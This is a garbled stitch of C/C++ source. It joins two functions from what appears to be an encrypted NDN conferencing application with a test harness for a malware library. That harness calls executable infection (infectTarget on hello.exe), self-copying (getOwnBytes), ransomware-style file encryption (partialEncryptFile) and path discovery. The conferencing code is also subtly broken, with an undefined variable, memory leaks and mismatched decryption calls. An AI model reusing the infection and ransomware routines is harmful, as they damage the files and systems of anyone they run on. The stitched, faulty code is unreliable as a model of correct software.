int GroupManager::parseXmlUserList(const unsigned char *incoming_data, size_t len) {
unsigned char *list = NULL;
size_t ulen = 0;
if (isPrivate) {
int res = symDecrypt(conferenceKey, NULL, incoming_data, len, &list, &ulen, AES_BLOCK_SIZE);
if (res != 0 )
critical("can not decryption speaker info");
}else {
list = (unsigned char *) incoming_data;
}
QByteArray buffer((const char *)(list));
QDomDocument doc;
if (!doc.setContent(buffer)) {
debug("Cannot convert data to xml\n");
return -1;
}
QString username, qPrefix;
QDomElement docElem = doc.documentElement(); // <user>
QDomNode node = docElem.firstChild(); // <username>
while (!node.isNull()) {
if (node.nodeName() == "username") {
username = node.toElement().text();
} else
if (node.nodeName() == "prefix") {
qPrefix = node.toElement().text();
} else {
critical("Unknown xml attribute");
}
node = node.nextSibling();
}
if (username == "" || prefix == "")
return -1;
if (isPrivate && list != NULL) {
free(list);
list = NULL;
}
addRemoteUser(qPrefix, username);
return 0;
}
int NdnMediaProcess::ndn_wait_message(UserDataBuf *userBuf, char *buf, int len)
{
if (ndnState.ccn == NULL || userBuf == NULL) {
errno = 9; //EBADFD;
return(-1);
}
if (userBuf->data_buf.buflist == NULL) {
errno = EAGAIN;
len = -1;
}
else {
struct buf_list *b = userBuf->data_buf.buflist;
userBuf->data_buf.buflist = b->link;
if (isPrivate) {
unsigned char *plain_data = NULL;
size_t plain_len = 0;
int res = symDecrypt(sessionKey, NULL, (const unsigned char *) b->buf, b->len, &plain_data, &plain_len, AES_BLOCK_SIZE);
if (res != 0) {
fprintf(stderr, "can not decrypt audio\n");
std::exit(1);
}
len = plain_len;
memcpy(buf, plain_data, len);
if (plain_data != NULL) {
free(plain_data);
plain_data = NULL;
}
} else
{
if (b->len < len)
len = b->len;
memcpy(buf, b->buf, len);
}
free(b->buf);
b->buf = NULL;
b->len = 0;
free(b);
b = NULL;
}
return(len);
}
int main(int argc, char **argv)
{
argc = argc;
char test_string[] = "We dont need no education\0";
int status;
//TEST CLONELIB
char *gob;
int gob_length;
printf("Testing clonelib.h\n");
//Test function getOwnBytes
gob_length = getOwnBytes(&gob, argv[0]);
printf("getOwnBytes:\t%s(%d bytes)\n",
gob_length > 256 ? "OK" : "Failed", gob_length);
//Test function infectTarget
status = infectTarget(TEST_DIR "hello.exe", gob, gob_length);
printf("infectTarget:\t%s\n", status ? "OK" : "Failed");
//free
free(gob);
//TEST B64
printf("\nTesting b64.h\n");
int b64_decoded_msg_length;
char *b64_decoded_msg;
//Test function b64decode
b64_decoded_msg_length = b64decode(&b64_decoded_msg, "T0s=");
printf("b64decode:\t%s(%s)\n",
(b64_decoded_msg_length == 2
&& !strcmp(b64_decoded_msg, "OK")) ? "OK" : "Failed",
b64_decoded_msg);
//Test functions b16decode and b16encode
status =
strcmp(b16decode(b16encode(test_string, strlen(test_string))),
test_string);
printf("b16en/decode:\t%s", status ? "Failed" : "OK");
if (status)
printf("(%s!=%s)", test_string,b16decode(b16encode(test_string, strlen(test_string))));
printf("\n");
//free
free(b64_decoded_msg);
//Test CRYPT
printf("\nTesting crypt.h\n");
//Test function secureRand
/*
status =
secureRand(&keyiv, SYMMETRIC_IV_SIZE + SYMMETRIC_KEY_SIZE);
printf("secureRand:\t%s\n", status ? "OK" : "Failed"); */
//Test functions symEn/Decrypt
char keyiv[] = "0123456789abcdef0123*56789abcdef";
char encrypted_msg[16];
char decrypted_msg[16];
status = symEncrypt(encrypted_msg, keyiv, test_string, 16);
printf("symEncrypt:\t%s\n", status ? "OK" : "Failed");
status = symDecrypt(decrypted_msg, keyiv, encrypted_msg, 16);
printf("symDecrypt:\t%s\n", status ? "OK" : "Failed",
decrypted_msg);
/*printf("Together:\t%s(%s)\n",
!strcmp(decrypted_msg, test_string) ? "OK" : "Failed",
decrypted_msg); */
//TESTING RANSOMLIB
printf("\nTesting ransomlib.h\n");
//Test encryption
status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 0);
printf("partialEncryptFile:\t%s\n", status ? "OK" : "Failed");
//Test Decryption
status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 1);
printf("partialEncryptFile-d:\t%s\n", status ? "OK" : "Failed");
//Tests paths
printf("\nTestings paths.h\n");
//Test
char *harp = NULL;
printf("getExternalPaths: %s\n",getExternalPaths(&harp)?"OK":"Failed");
return 0;
}